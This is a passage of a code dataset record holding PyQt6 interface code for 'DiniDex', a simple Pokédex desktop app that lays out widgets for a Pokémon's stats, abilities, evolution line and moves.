0);\\n\"\n\"border-radius:10px;\")\n self.name_pokemon.setAlignment(QtCore.Qt.AlignmentFlag.AlignCenter)\n self.name_pokemon.setObjectName(\"name_pokemon\")\n self.dex_number = QtWidgets.QLabel(self.pokedex_pokemon)\n self.dex_number.setGeometry(QtCore.QRect(10, 0, 40, 31))\n font = QtGui.QFont()\n font.setPointSize(12)\n self.dex_number.setFont(font)\n self.dex_number.setStyleSheet(\"background-color: rgb(255, 255, 255);\\n\"\n\"color: rgb(0, 0, 0);\\n\"\n\"border-radius:10px;\")\n self.dex_number.setObjectName(\"dex_number\")\n self.scrollmoves = QtWidgets.QScrollArea(self.background)\n self.scrollmoves.setGeometry(QtCore.QRect(9, 480, 241, 371))\n self.scrollmoves.setStyleSheet(\"background-color: rgb(255, 255, 255);\\n\"\n\"border-radius:12px;\\n\"\n\"\")\n self.scrollmoves.setWidgetResizable(True)\n self.scrollmoves.setObjectName(\"scrollmoves\")\n self.scrollAreaWidgetContents = QtWidgets.QWidget()\n self.scrollAreaWidgetContents.setGeometry(QtCore.QRect(0, 0, 241, 371))\n self.scrollAreaWidgetContents.setObjectName(\"scrollAreaWidgetContents\")\n self.moves_title = QtWidgets.QLabel(self.scrollAreaWidgetContents)\n self.moves_title.setGeometry(QtCore.QRect(120, 0, 120, 20))\n font = QtGui.QFont()\n font.setPointSize(12)\n self.moves_title.setFont(font)\n self.moves_title.setStyleSheet(\"background-color: rgb(255, 255, 255);\\n\"\n\"color: rgb(0, 0, 0);\")\n self.moves_title.setAlignment(QtCore.Qt.AlignmentFlag.AlignCenter)\n self.moves_title.setObjectName(\"moves_title\")\n self.move1 = QtWidgets.QLabel(self.scrollAreaWidgetContents)\n self.move1.setGeometry(QtCore.QRect(120, 20, 120, 20))\n font = QtGui.QFont()\n font.setPointSize(10)\n self.move1.setFont(font)\n self.move1.setStyleSheet(\"background-color: rgb(255, 255, 255);\\n\"\n\"color: rgb(0, 0, 0);\")\n self.move1.setAlignment(QtCore.Qt.AlignmentFlag.AlignCenter)\n self.move1.setObjectName(\"move1\")\n self.level_title = QtWidgets.QLabel(self.scrollAreaWidgetContents)\n self.level_title.setGeometry(QtCore.QRect(0, 0, 120, 20))\n font = QtGui.QFont()\n font.setPointSize(12)\n self.level_title.setFont(font)\n self.level_title.setStyleSheet(\"background-color: rgb(255, 255, 255);\\n\"\n\"color: rgb(0, 0, 0);\")\n self.level_title.setAlignment(QtCore.Qt.AlignmentFlag.AlignCenter)\n self.level_title.setObjectName(\"level_title\")\n self.level_move1 = QtWidgets.QLabel(self.scrollAreaWidgetContents)\n self.level_move1.setGeometry(QtCore.QRect(0, 20, 120, 20))\n font = QtGui.QFont()\n font.setPointSize(10)\n self.level_move1.setFont(font)\n self.level_move1.setStyleSheet(\"background-color: rgb(255, 255, 255);\\n\"\n\"color: rgb(0, 0, 0);\")\n self.level_move1.setAlignment(QtCore.Qt.AlignmentFlag.AlignCenter)\n self.level_move1.setObjectName(\"level_move1\")\n self.scrollmoves.setWidget(self.scrollAreaWidgetContents)\n self.search_bar = QtWidgets.QLineEdit(self.background)\n self.search_bar.setGeometry(QtCore.QRect(260, 130, 631, 40))\n self.search_bar.setStyleSheet(\"color: rgb(68, 68, 68);\\n\"\n\"background-color: rgb(255, 255, 255);\\n\"\n\"border-radius: 8px;\")\n self.search_bar.setObjectName(\"search_bar\")\n self.scrollmoves.raise_()\n self.pokedex_pokemon.raise_()\n self.stats_widget.raise_()\n self.evolution_line_widget.raise_()\n self.label_type1.raise_()\n self.label_type2.raise_()\n self.sprite_pokemon.raise_()\n self.abilities_widget.raise_()\n self.description_widget.raise_()\n self.search_bar.raise_()\n self.background.raise_()\n self.pokemon_logo.raise_()\n DiniDex.setCentralWidget(self.centralwidget)\n\n self.retranslateUi(DiniDex)\n QtCore.QMetaObject.connectSlotsByName(DiniDex)\n\n def retranslateUi(self, DiniDex):\n _translate = QtCore.QCoreApplication.translate\n DiniDex.setWindowTitle(_translate(\"DiniDex\", \"Dinidex - A simple Pokedex\"))\n self.evo_detail_1_2.setText(_translate(\"DiniDex\", \"Level 16\"))\n self.evo_detail_2_3.setText(_translate(\"DiniDex\", \"Level 32\"))\n self.label_hp.setText(_translate(\"DiniDex\", \"Hp\"))\n self.label_attack.setText(_translate(\"DiniDex\", \"Attack\"))\n self.label_defense.setText(_translate(\"DiniDex\", \"Defense\"))\n self.label_spattack.setText(_translate(\"DiniDex\", \"Sp. Attack\"))\n self.label_spdefense.setText(_translate(\"DiniDex\", \"Sp.Defense\"))\n self.label_speed.setText(_translate(\"DiniDex\", \"Speed\"))\n self.label_hp_stat.setText(_translate(\"DiniDex\", \"70\"))\n self.label_attack_stat.setText(_translate(\"DiniDex\", \"70\"))\n self.label_defense_stat.setText(_translate(\"DiniDex\", \"70\"))\n self.label_spattack_stat.setText(_translate(\"DiniDex\", \"70\"))\n self.label_spdefense_stat.setText(_translate(\"DiniDex\", \"70\"))\n self.label_speed_stat.setText(_translate(\"DiniDex\", \"70\"))\n self.abilities_title.setText(_translate(\"DiniDex\", \"Abilities\"))\n self.na_ability1.setText(_translate(\"DiniDex\", \"Overgrown\"))\n self.nability_title.setText(_translate(\"DiniDex\", \"Normal Abilities\"))\n self.na_ability2.setText(_translate(\"DiniDex\", \"Ability 2\"))\n self.hability_title.setText(_translate(\"DiniDex\", \"Hidden Ability\"))\n self.ha_ability1.setText(_translate(\"DiniDex\", \"Chlorophyll\"))\n self.description_title.setText(_translate(\"DiniDex\", \"Description\"))\n self.description_text.setText(_translate(\"DiniDex\", \"There is a plant seed on its back right from the day this Pokémon is born. The seed slowly grows larger. \"))\n self.name_pokemon.setText(_translate(\"DiniDex\", \"Bulbasaur\"))\n self.dex_number.setText(_translate(\"DiniDex\", \"#001\"))\n self.moves_title.setText(_translate(\"DiniDex\", \"Moves\"))\n self.move1.setText(_translate(\"DiniDex\", \"Tackle\"))\n self.level_title.setText(_translate(\"DiniDex\", \"Level\"))\n self.level_move1.setText(_translate(\"DiniDex\", \"1\"))\n self.search_bar.setText(_translate(\"DiniDex\", \"Digite o nome ou o número correspondente ao POKEDEX do pokemon.\"))\n\n\nif __name__ == \"__main__\":\n import sys\n app = QtWidgets.QApplication(sys.argv)\n DiniDex = QtWidgets.QMainWindow()\n ui = Ui_DiniDex()\n ui.setupUi(DiniDex)\n DiniDex.show()\n sys.exit(app.exec())\n" }, { "alpha_fraction": 0.6270207166671753, "alphanum_fraction": 0.6665129661560059, "avg_line_length": 47.89655303955078, "blob_id": "4bbdfa7baaf24fea1c2ef8b250c5b5be61febf03", "content_id": "fbc69838095a7351ecc332f66d2dcdba8f33a482", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 36869, "license_type": "no_license", "max_line_length": 157, "num_lines": 754, "path": "/dinidex.py", "repo_name": "vodiniz/dinidex", "src_encoding": "UTF-8", "text": "from telnetlib import STATUS\nfrom PyQt6 import QtCore, QtGui, QtWidgets\nfrom PyQt6.QtWidgets import QApplication\nimport pypokedex\nimport json\nimport requests\nimport random\nimport time\n\n\n##BOTAO PARA MOSTRAR ALOLAN FORM E GALARIAN FORM, TALVEZ MEGA IA SER LEGAL FICAR DE OLHO\nclass Ui_DiniDex(object):\n first_run = 1\n #DiniDex = ??? Colocar no construtor\n def setupMainWindow(self, DiniDex):\n DiniDex.setObjectName(\"DiniDex\")\n DiniDex.resize(920, 220)\n icon = QtGui.QIcon()\n icon.addPixmap(QtGui.QPixmap(\"resources/icon/program_icon.ico\"), QtGui.QIcon.Mode.Normal, QtGui.QIcon.State.Off)\n DiniDex.setWindowIcon(icon)\n DiniDex.setStyleSheet(\"background-color: rgb(0, 0, 0);\")\n self.centralwidget = QtWidgets.QWidget(DiniDex)\n self.centralwidget.setObjectName(\"centralwidget\")\n self.pokemon_logo = QtWidgets.QWidget(self.centralwidget)\n self.pokemon_logo.setGeometry(QtCore.QRect(0, -40, 300, 200))\n self.pokemon_logo.setStyleSheet(\"image: url(resources/logo/pokemon_logo.png);\\n\"\n\"background:transparent;\")\n self.pokemon_logo.setObjectName(\"pokemon_logo\")\n self.background = QtWidgets.QWidget(self.centralwidget)\n self.background.setGeometry(QtCore.QRect(0, 0, 1030, 860))\n self.background.setStyleSheet(\"background-color: rgb(206, 76, 62);\\n\"\n\"\\n\"\n\"\")\n self.background.setObjectName(\"background\")\n self.search_bar = QtWidgets.QLineEdit(self.background)\n self.search_bar.returnPressed.connect(self.onPressed)\n self.search_bar.setGeometry(QtCore.QRect(260, 130, 760, 40))\n self.search_bar.setStyleSheet(\"color: rgb(68, 68, 68);\\n\"\n\"background-color: rgb(255, 255, 255);\\n\"\n\"border-radius: 8px;\")\n self.search_bar.setObjectName(\"search_bar\")\n self.background.raise_()\n self.pokemon_logo.raise_()\n DiniDex.setCentralWidget(self.centralwidget)\n\n self.retranslateMainWindow(DiniDex)\n QtCore.QMetaObject.connectSlotsByName(DiniDex)\n \n\n def retranslateMainWindow(self, DiniDex):\n _translate = QtCore.QCoreApplication.translate\n DiniDex.setWindowTitle(_translate(\"DiniDex\", \"Dinidex - A simple Pokedex\"))\n #self.search_bar.setText(_translate(\"DiniDex\", \"Digite o nome ou o número correspondente ao POKEDEX do pokemon.\")) \\N\n #CORRIGIR PARA APARECER ESCRITO E SUMIR QUANDO ESTIVER NO FOCO\n\n def setupPokemonUi(self, DiniDex):\n DiniDex.resize(1030, 860)\n #DiniDex.setStyleSheet(\"background-color: rgb(0, 0, 0);\")\n self.evolution_line_widget = QtWidgets.QWidget(self.background)\n self.evolution_line_widget.setGeometry(QtCore.QRect(260, 480, 650, 370))\n self.evolution_line_widget.setStyleSheet(\"background-color: rgb(255, 255, 255);\\n\"\n\"border-radius:8px;\\n\"\n\"\")\n self.evolution_line_widget.setObjectName(\"evolution_line_widget\")\n self.evo1_type1 = QtWidgets.QLabel(self.evolution_line_widget)\n self.evo1_type1.setGeometry(QtCore.QRect(10, 240, 70, 30))\n font = QtGui.QFont()\n font.setPointSize(8)\n self.evo1_type1.setFont(font)\n self.evo1_type1.setText(\"\")\n self.evo1_type1.setObjectName(\"evo1_type1\")\n self.evo1_type2 = QtWidgets.QLabel(self.evolution_line_widget)\n self.evo1_type2.setGeometry(QtCore.QRect(80, 240, 70, 30))\n font = QtGui.QFont()\n font.setPointSize(8)\n self.evo1_type2.setFont(font)\n self.evo1_type2.setText(\"\")\n self.evo1_type2.setObjectName(\"evo1_type2\")\n self.evo_detail_1_2 = QtWidgets.QLabel(self.evolution_line_widget)\n self.evo_detail_1_2.setGeometry(QtCore.QRect(170, 150, 51, 20))\n font = QtGui.QFont()\n font.setPointSize(10)\n self.evo_detail_1_2.setFont(font)\n self.evo_detail_1_2.setObjectName(\"evo_detail_1_2\")\n self.evolution1_sprite = QtWidgets.QLabel(self.evolution_line_widget)\n self.evolution1_sprite.setGeometry(QtCore.QRect(10, 100, 140, 140))\n self.evolution1_sprite.setText(\"\")\n self.evolution1_sprite.setObjectName(\"evolution1_sprite\")\n self.evolution2_sprite = QtWidgets.QLabel(self.evolution_line_widget)\n self.evolution2_sprite.setGeometry(QtCore.QRect(230, 100, 140, 140))\n self.evolution2_sprite.setObjectName(\"evolution2_sprite\")\n self.evolution3_sprite = QtWidgets.QLabel(self.evolution_line_widget)\n self.evolution3_sprite.setGeometry(QtCore.QRect(460, 100, 140, 140))\n self.evolution3_sprite.setText(\"\")\n self.evolution3_sprite.setObjectName(\"evolution3_sprite\")\n self.evo2_type2_2 = QtWidgets.QLabel(self.evolution_line_widget)\n self.evo2_type2_2.setGeometry(QtCore.QRect(240, 240, 70, 30))\n font = QtGui.QFont()\n font.setPointSize(8)\n self.evo2_type2_2.setFont(font)\n self.evo2_type2_2.setText(\"\")\n self.evo2_type2_2.setObjectName(\"evo2_type2_2\")\n self.evo2_type2 = QtWidgets.QLabel(self.evolution_line_widget)\n self.evo2_type2.setGeometry(QtCore.QRect(310, 240, 70, 30))\n font = QtGui.QFont()\n font.setPointSize(8)\n self.evo2_type2.setFont(font)\n self.evo2_type2.setText(\"\")\n self.evo2_type2.setObjectName(\"evo2_type2\")\n self.evo3_type1 = QtWidgets.QLabel(self.evolution_line_widget)\n self.evo3_type1.setGeometry(QtCore.QRect(460, 240, 70, 30))\n font = QtGui.QFont()\n font.setPointSize(8)\n self.evo3_type1.setFont(font)\n self.evo3_type1.setObjectName(\"evo3_type1\")\n self.evo3_type2 = QtWidgets.QLabel(self.evolution_line_widget)\n self.evo3_type2.setGeometry(QtCore.QRect(530, 240, 70, 30))\n font = QtGui.QFont()\n font.setPointSize(8)\n self.evo3_type2.setFont(font)\n self.evo3_type2.setText(\"\")\n self.evo3_type2.setObjectName(\"evo3_type2\")\n self.arrow_evo_2_3 = QtWidgets.QLabel(self.evolution_line_widget)\n self.arrow_evo_2_3.setGeometry(QtCore.QRect(390, 170, 51, 31))\n self.arrow_evo_2_3.setText(\"\")\n self.arrow_evo_2_3.setObjectName(\"arrow_evo_2_3\")\n self.evo_detail_2_3 = QtWidgets.QLabel(self.evolution_line_widget)\n self.evo_detail_2_3.setGeometry(QtCore.QRect(400, 150, 51, 16))\n font = QtGui.QFont()\n font.setPointSize(10)\n self.evo_detail_2_3.setFont(font)\n self.evo_detail_2_3.setObjectName(\"evo_detail_2_3\")\n self.arrow_evo_1_2 = QtWidgets.QLabel(self.evolution_line_widget)\n self.arrow_evo_1_2.setGeometry(QtCore.QRect(170, 170, 51, 31))\n self.arrow_evo_1_2.setText(\"\")\n self.arrow_evo_1_2.setObjectName(\"arrow_evo_1_2\")\n self.evolution3_sprite.raise_()\n self.evolution1_sprite.raise_()\n self.evo1_type1.raise_()\n self.evo1_type2.raise_()\n self.evo_detail_1_2.raise_()\n self.evolution2_sprite.raise_()\n self.evo2_type2_2.raise_()\n self.evo2_type2.raise_()\n self.evo3_type1.raise_()\n self.evo3_type2.raise_()\n self.arrow_evo_2_3.raise_()\n self.evo_detail_2_3.raise_()\n self.arrow_evo_1_2.raise_()\n self.pokemon_type1 = QtWidgets.QLabel(self.background)\n self.pokemon_type1.setGeometry(QtCore.QRect(5, 440, 115, 30))\n font = QtGui.QFont()\n font.setPointSize(8)\n self.pokemon_type1.setFont(font)\n self.pokemon_type1.setText(\"\")\n self.pokemon_type1.setObjectName(\"pokemon_type1\")\n self.pokemon_type2 = QtWidgets.QLabel(self.background)\n self.pokemon_type2.setGeometry(QtCore.QRect(140, 440, 115, 30))\n font = QtGui.QFont()\n font.setPointSize(8)\n self.pokemon_type2.setFont(font)\n self.pokemon_type2.setText(\"\")\n self.pokemon_type2.setObjectName(\"pokemon_type2\")\n self.sprite_pokemon = QtWidgets.QWidget(self.background)\n self.sprite_pokemon.setGeometry(QtCore.QRect(20, 170, 220, 220))\n self.sprite_pokemon.setObjectName(\"sprite_pokemon\")\n self.stats_widget = QtWidgets.QWidget(self.background)\n self.stats_widget.setGeometry(QtCore.QRect(500, 210, 520, 260))\n self.stats_widget.setStyleSheet(\"background-color: rgb(255, 255, 255);\\n\"\n\"border-radius:8px;\\n\"\n\"\")\n self.stats_widget.setObjectName(\"stats_widget\")\n self.label_hp = QtWidgets.QLabel(self.stats_widget)\n self.label_hp.setGeometry(QtCore.QRect(10, 20, 80, 21))\n font = QtGui.QFont()\n font.setPointSize(11)\n self.label_hp.setFont(font)\n self.label_hp.setAlignment(QtCore.Qt.AlignmentFlag.AlignCenter)\n self.label_hp.setObjectName(\"label_hp\")\n self.label_attack = QtWidgets.QLabel(self.stats_widget)\n self.label_attack.setGeometry(QtCore.QRect(10, 60, 80, 21))\n font = QtGui.QFont()\n font.setPointSize(11)\n self.label_attack.setFont(font)\n self.label_attack.setAlignment(QtCore.Qt.AlignmentFlag.AlignCenter)\n self.label_attack.setObjectName(\"label_attack\")\n self.label_defense = QtWidgets.QLabel(self.stats_widget)\n self.label_defense.setGeometry(QtCore.QRect(10, 100, 80, 21))\n font = QtGui.QFont()\n font.setPointSize(11)\n self.label_defense.setFont(font)\n self.label_defense.setAlignment(QtCore.Qt.AlignmentFlag.AlignCenter)\n self.label_defense.setObjectName(\"label_defense\")\n self.label_spattack = QtWidgets.QLabel(self.stats_widget)\n self.label_spattack.setGeometry(QtCore.QRect(10, 140, 80, 21))\n font = QtGui.QFont()\n font.setPointSize(11)\n self.label_spattack.setFont(font)\n self.label_spattack.setAlignment(QtCore.Qt.AlignmentFlag.AlignCenter)\n self.label_spattack.setObjectName(\"label_spattack\")\n self.label_spdefense = QtWidgets.QLabel(self.stats_widget)\n self.label_spdefense.setGeometry(QtCore.QRect(10, 180, 80, 21))\n font = QtGui.QFont()\n font.setPointSize(11)\n self.label_spdefense.setFont(font)\n self.label_spdefense.setAlignment(QtCore.Qt.AlignmentFlag.AlignCenter)\n self.label_spdefense.setObjectName(\"label_spdefense\")\n self.label_speed = QtWidgets.QLabel(self.stats_widget)\n self.label_speed.setGeometry(QtCore.QRect(10, 220, 81, 21))\n font = QtGui.QFont()\n font.setPointSize(11)\n self.label_speed.setFont(font)\n self.label_speed.setAlignment(QtCore.Qt.AlignmentFlag.AlignCenter)\n self.label_speed.setObjectName(\"label_speed\")\n self.label_defense_bar = QtWidgets.QLabel(self.stats_widget)\n self.label_defense_bar.setGeometry(QtCore.QRect(140, 110, 140, 6))\n font = QtGui.QFont()\n font.setPointSize(15)\n self.label_defense_bar.setFont(font)\n self.label_defense_bar.setStyleSheet(\"background-color: rgb(255, 0, 0);\\n\"\n\"border-radius: 3px;\")\n self.label_defense_bar.setText(\"\")\n self.label_defense_bar.setAlignment(QtCore.Qt.AlignmentFlag.AlignCenter)\n self.label_defense_bar.setObjectName(\"label_defense_bar\")\n self.label_spattack_bar = QtWidgets.QLabel(self.stats_widget)\n self.label_spattack_bar.setGeometry(QtCore.QRect(140, 150, 140, 6))\n font = QtGui.QFont()\n font.setPointSize(15)\n self.label_spattack_bar.setFont(font)\n self.label_spattack_bar.setStyleSheet(\"background-color: rgb(255, 0, 0);\\n\"\n\"border-radius: 3px;\")\n self.label_spattack_bar.setText(\"\")\n self.label_spattack_bar.setAlignment(QtCore.Qt.AlignmentFlag.AlignCenter)\n self.label_spattack_bar.setObjectName(\"label_spattack_bar\")\n self.label_spdefense_bar = QtWidgets.QLabel(self.stats_widget)\n self.label_spdefense_bar.setGeometry(QtCore.QRect(140, 190, 140, 6))\n font = QtGui.QFont()\n font.setPointSize(15)\n self.label_spdefense_bar.setFont(font)\n self.label_spdefense_bar.setStyleSheet(\"background-color: rgb(255, 0, 0);\\n\"\n\"border-radius: 3px;\")\n self.label_spdefense_bar.setText(\"\")\n self.label_spdefense_bar.setAlignment(QtCore.Qt.AlignmentFlag.AlignCenter)\n self.label_spdefense_bar.setObjectName(\"label_spdefense_bar\")\n self.label_speed_bar = QtWidgets.QLabel(self.stats_widget)\n self.label_speed_bar.setGeometry(QtCore.QRect(140, 230, 140, 6))\n font = QtGui.QFont()\n font.setPointSize(15)\n self.label_speed_bar.setFont(font)\n self.label_speed_bar.setStyleSheet(\"background-color: rgb(255, 0, 0);\\n\"\n\"border-radius: 3px;\")\n self.label_speed_bar.setText(\"\")\n self.label_speed_bar.setAlignment(QtCore.Qt.AlignmentFlag.AlignCenter)\n self.label_speed_bar.setObjectName(\"label_speed_bar\")\n self.label_attack_bar = QtWidgets.QLabel(self.stats_widget)\n self.label_attack_bar.setGeometry(QtCore.QRect(140, 70, 140, 6))\n font = QtGui.QFont()\n font.setPointSize(15)\n self.label_attack_bar.setFont(font)\n self.label_attack_bar.setStyleSheet(\"background-color: rgb(255, 0, 0);\\n\"\n\"border-radius: 3px;\")\n self.label_attack_bar.setText(\"\")\n self.label_attack_bar.setAlignment(QtCore.Qt.AlignmentFlag.AlignCenter)\n self.label_attack_bar.setObjectName(\"label_attack_bar\")\n self.label_hp_bar = QtWidgets.QLabel(self.stats_widget)\n self.label_hp_bar.setGeometry(QtCore.QRect(140, 30, 140, 6))\n font = QtGui.QFont()\n font.setPointSize(15)\n self.label_hp_bar.setFont(font)\n self.label_hp_bar.setStyleSheet(\"background-color: rgb(255, 0, 0);\\n\"\n\"border-radius: 3px;\")\n self.label_hp_bar.setText(\"\")\n self.label_hp_bar.setAlignment(QtCore.Qt.AlignmentFlag.AlignCenter)\n self.label_hp_bar.setObjectName(\"label_hp_bar\")\n self.label_hp_stat = QtWidgets.QLabel(self.stats_widget)\n self.label_hp_stat.setGeometry(QtCore.QRect(90, 20, 41, 21))\n font = QtGui.QFont()\n font.setPointSize(11)\n self.label_hp_stat.setFont(font)\n self.label_hp_stat.setAlignment(QtCore.Qt.AlignmentFlag.AlignCenter)\n self.label_hp_stat.setObjectName(\"label_hp_stat\")\n self.label_attack_stat = QtWidgets.QLabel(self.stats_widget)\n self.label_attack_stat.setGeometry(QtCore.QRect(90, 60, 41, 21))\n font = QtGui.QFont()\n font.setPointSize(11)\n self.label_attack_stat.setFont(font)\n self.label_attack_stat.setAlignment(QtCore.Qt.AlignmentFlag.AlignCenter)\n self.label_attack_stat.setObjectName(\"label_attack_stat\")\n self.label_defense_stat = QtWidgets.QLabel(self.stats_widget)\n self.label_defense_stat.setGeometry(QtCore.QRect(90, 100, 41, 21))\n font = QtGui.QFont()\n font.setPointSize(11)\n self.label_defense_stat.setFont(font)\n self.label_defense_stat.setAlignment(QtCore.Qt.AlignmentFlag.AlignCenter)\n self.label_defense_stat.setObjectName(\"label_defense_stat\")\n self.label_spattack_stat = QtWidgets.QLabel(self.stats_widget)\n self.label_spattack_stat.setGeometry(QtCore.QRect(90, 140, 41, 21))\n font = QtGui.QFont()\n font.setPointSize(11)\n self.label_spattack_stat.setFont(font)\n self.label_spattack_stat.setAlignment(QtCore.Qt.AlignmentFlag.AlignCenter)\n self.label_spattack_stat.setObjectName(\"label_spattack_stat\")\n self.label_spdefense_stat = QtWidgets.QLabel(self.stats_widget)\n self.label_spdefense_stat.setGeometry(QtCore.QRect(90, 180, 41, 21))\n font = QtGui.QFont()\n font.setPointSize(11)\n self.label_spdefense_stat.setFont(font)\n self.label_spdefense_stat.setAlignment(QtCore.Qt.AlignmentFlag.AlignCenter)\n self.label_spdefense_stat.setObjectName(\"label_spdefense_stat\")\n self.label_speed_stat = QtWidgets.QLabel(self.stats_widget)\n self.label_speed_stat.setGeometry(QtCore.QRect(90, 220, 41, 21))\n font = QtGui.QFont()\n font.setPointSize(11)\n self.label_speed_stat.setFont(font)\n self.label_speed_stat.setAlignment(QtCore.Qt.AlignmentFlag.AlignCenter)\n self.label_speed_stat.setObjectName(\"label_speed_stat\")\n self.abilities_widget = QtWidgets.QWidget(self.background)\n self.abilities_widget.setGeometry(QtCore.QRect(260, 350, 230, 121))\n self.abilities_widget.setStyleSheet(\"background-color: rgb(255, 255, 255);\\n\"\n\"border-radius:8px;\\n\"\n\"\")\n self.abilities_widget.setObjectName(\"abilities_widget\")\n self.abilities_title = QtWidgets.QLabel(self.abilities_widget)\n self.abilities_title.setGeometry(QtCore.QRect(0, 1, 230, 20))\n font = QtGui.QFont()\n font.setPointSize(13)\n self.abilities_title.setFont(font)\n self.abilities_title.setStyleSheet(\"background-color: rgb(255, 255, 255);\\n\"\n\"color: rgb(0, 0, 0);\")\n self.abilities_title.setAlignment(QtCore.Qt.AlignmentFlag.AlignCenter)\n self.abilities_title.setObjectName(\"abilities_title\")\n self.na_ability1 = QtWidgets.QLabel(self.abilities_widget)\n self.na_ability1.setGeometry(QtCore.QRect(0, 50, 115, 20))\n font = QtGui.QFont()\n font.setPointSize(8)\n self.na_ability1.setFont(font)\n self.na_ability1.setStyleSheet(\"background-color: rgb(255, 255, 255);\\n\"\n\"color: rgb(0, 0, 0);\")\n self.na_ability1.setAlignment(QtCore.Qt.AlignmentFlag.AlignCenter)\n self.na_ability1.setObjectName(\"na_ability1\")\n self.nability_title = QtWidgets.QLabel(self.abilities_widget)\n self.nability_title.setGeometry(QtCore.QRect(0, 30, 115, 20))\n font = QtGui.QFont()\n font.setPointSize(10)\n self.nability_title.setFont(font)\n self.nability_title.setStyleSheet(\"background-color: rgb(255, 255, 255);\\n\"\n\"color: rgb(0, 0, 0);\")\n self.nability_title.setAlignment(QtCore.Qt.AlignmentFlag.AlignCenter)\n self.nability_title.setObjectName(\"nability_title\")\n self.na_ability2 = QtWidgets.QLabel(self.abilities_widget)\n self.na_ability2.setGeometry(QtCore.QRect(0, 70, 115, 20))\n font = QtGui.QFont()\n font.setPointSize(8)\n self.na_ability2.setFont(font)\n self.na_ability2.setStyleSheet(\"background-color: rgb(255, 255, 255);\\n\"\n\"color: rgb(0, 0, 0);\")\n self.na_ability2.setAlignment(QtCore.Qt.AlignmentFlag.AlignCenter)\n self.na_ability2.setObjectName(\"na_ability2\")\n self.na_ability3 = QtWidgets.QLabel(self.abilities_widget)\n self.na_ability3.setGeometry(QtCore.QRect(0, 90, 115, 20))\n font = QtGui.QFont()\n font.setPointSize(8)\n self.na_ability3.setFont(font)\n self.na_ability3.setStyleSheet(\"background-color: rgb(255, 255, 255);\\n\"\n\"color: rgb(0, 0, 0);\")\n self.na_ability3.setAlignment(QtCore.Qt.AlignmentFlag.AlignCenter)\n self.na_ability3.setObjectName(\"na_ability3\")\n self.hability_title = QtWidgets.QLabel(self.abilities_widget)\n self.hability_title.setGeometry(QtCore.QRect(115, 30, 115, 20))\n font = QtGui.QFont()\n font.setPointSize(10)\n self.hability_title.setFont(font)\n self.hability_title.setStyleSheet(\"background-color: rgb(255, 255, 255);\\n\"\n\"color: rgb(0, 0, 0);\")\n self.hability_title.setAlignment(QtCore.Qt.AlignmentFlag.AlignCenter)\n self.hability_title.setObjectName(\"hability_title\")\n self.ha_ability1 = QtWidgets.QLabel(self.abilities_widget)\n self.ha_ability1.setGeometry(QtCore.QRect(115, 60, 115, 20))\n font = QtGui.QFont()\n font.setPointSize(8)\n self.ha_ability1.setFont(font)\n self.ha_ability1.setStyleSheet(\"background-color: rgb(255, 255, 255);\\n\"\n\"color: rgb(0, 0, 0);\")\n self.ha_ability1.setAlignment(QtCore.Qt.AlignmentFlag.AlignCenter)\n self.ha_ability1.setObjectName(\"ha_ability1\")\n self.description_widget = QtWidgets.QWidget(self.background)\n self.description_widget.setGeometry(QtCore.QRect(260, 210, 230, 131))\n self.description_widget.setStyleSheet(\"background-color: rgb(255, 255, 255);\\n\"\n\"border-radius:8px;\\n\"\n\"\")\n self.description_widget.setObjectName(\"description_widget\")\n self.description_title = QtWidgets.QLabel(self.description_widget)\n self.description_title.setGeometry(QtCore.QRect(0, 0, 231, 21))\n font = QtGui.QFont()\n font.setPointSize(12)\n font.setStyleStrategy(QtGui.QFont.StyleStrategy.PreferDefault)\n self.description_title.setFont(font)\n self.description_title.setStyleSheet(\"background-color: rgb(255, 255, 255);\\n\"\n\"color: rgb(0, 0, 0);\")\n self.description_title.setAlignment(QtCore.Qt.AlignmentFlag.AlignCenter)\n self.description_title.setObjectName(\"description_title\")\n self.description_text = QtWidgets.QLabel(self.description_widget)\n self.description_text.setGeometry(QtCore.QRect(10, 40, 211, 71))\n font = QtGui.QFont()\n font.setPointSize(10)\n self.description_text.setFont(font)\n self.description_text.setStyleSheet(\"background-color: rgb(255, 255, 255);\\n\"\n\"color: rgb(0, 0, 0);\")\n self.description_text.setAlignment(QtCore.Qt.AlignmentFlag.AlignCenter)\n self.description_text.setWordWrap(True)\n self.description_text.setObjectName(\"description_text\")\n self.pokedex_pokemon = QtWidgets.QWidget(self.background)\n self.pokedex_pokemon.setGeometry(QtCore.QRect(15, 400, 240, 30))\n self.pokedex_pokemon.setStyleSheet(\"background-color: rgb(255, 255, 255);\\n\"\n\"color: rgb(0, 0, 0);\\n\"\n\"border-radius:10px;\")\n self.pokedex_pokemon.setObjectName(\"pokedex_pokemon\")\n self.name_pokemon = QtWidgets.QLabel(self.pokedex_pokemon)\n self.name_pokemon.setGeometry(QtCore.QRect(50, 0, 160, 30))\n font = QtGui.QFont()\n font.setPointSize(12)\n self.name_pokemon.setFont(font)\n self.name_pokemon.setStyleSheet(\"background-color: rgb(255, 255, 255);\\n\"\n\"color: rgb(0, 0, 0);\\n\"\n\"border-radius:10px;\")\n self.name_pokemon.setAlignment(QtCore.Qt.AlignmentFlag.AlignCenter)\n self.name_pokemon.setObjectName(\"name_pokemon\")\n self.dex_number = QtWidgets.QLabel(self.pokedex_pokemon)\n self.dex_number.setGeometry(QtCore.QRect(10, 0, 40, 31))\n font = QtGui.QFont()\n font.setPointSize(12)\n self.dex_number.setFont(font)\n self.dex_number.setStyleSheet(\"background-color: rgb(255, 255, 255);\\n\"\n\"color: rgb(0, 0, 0);\\n\"\n\"border-radius:10px;\")\n self.dex_number.setObjectName(\"dex_number\")\n self.scrollmoves = QtWidgets.QScrollArea(self.background)\n self.scrollmoves.setGeometry(QtCore.QRect(9, 480, 240, 370))\n self.scrollmoves.setStyleSheet(\"background-color: rgb(255, 255, 255);\\n\"\n\"border-radius:12px;\\n\"\n\"\")\n self.scrollmoves.setWidgetResizable(True)\n self.scrollmoves.setObjectName(\"scrollmoves\")\n self.scrollAreaWidgetContents = QtWidgets.QWidget()\n self.scrollAreaWidgetContents.setGeometry(QtCore.QRect(0, 0, 241, 370))\n self.scrollAreaWidgetContents.setObjectName(\"scrollAreaWidgetContents\")\n self.moves_title = QtWidgets.QLabel(self.scrollAreaWidgetContents)\n self.moves_title.setGeometry(QtCore.QRect(120, 0, 120, 20))\n font = QtGui.QFont()\n font.setPointSize(12)\n self.moves_title.setFont(font)\n self.moves_title.setStyleSheet(\"background-color: transparent;\\n\"\n\"color: rgb(0, 0, 0);\\n\"\n\"border-radius:6px\")\n self.moves_title.setAlignment(QtCore.Qt.AlignmentFlag.AlignCenter)\n 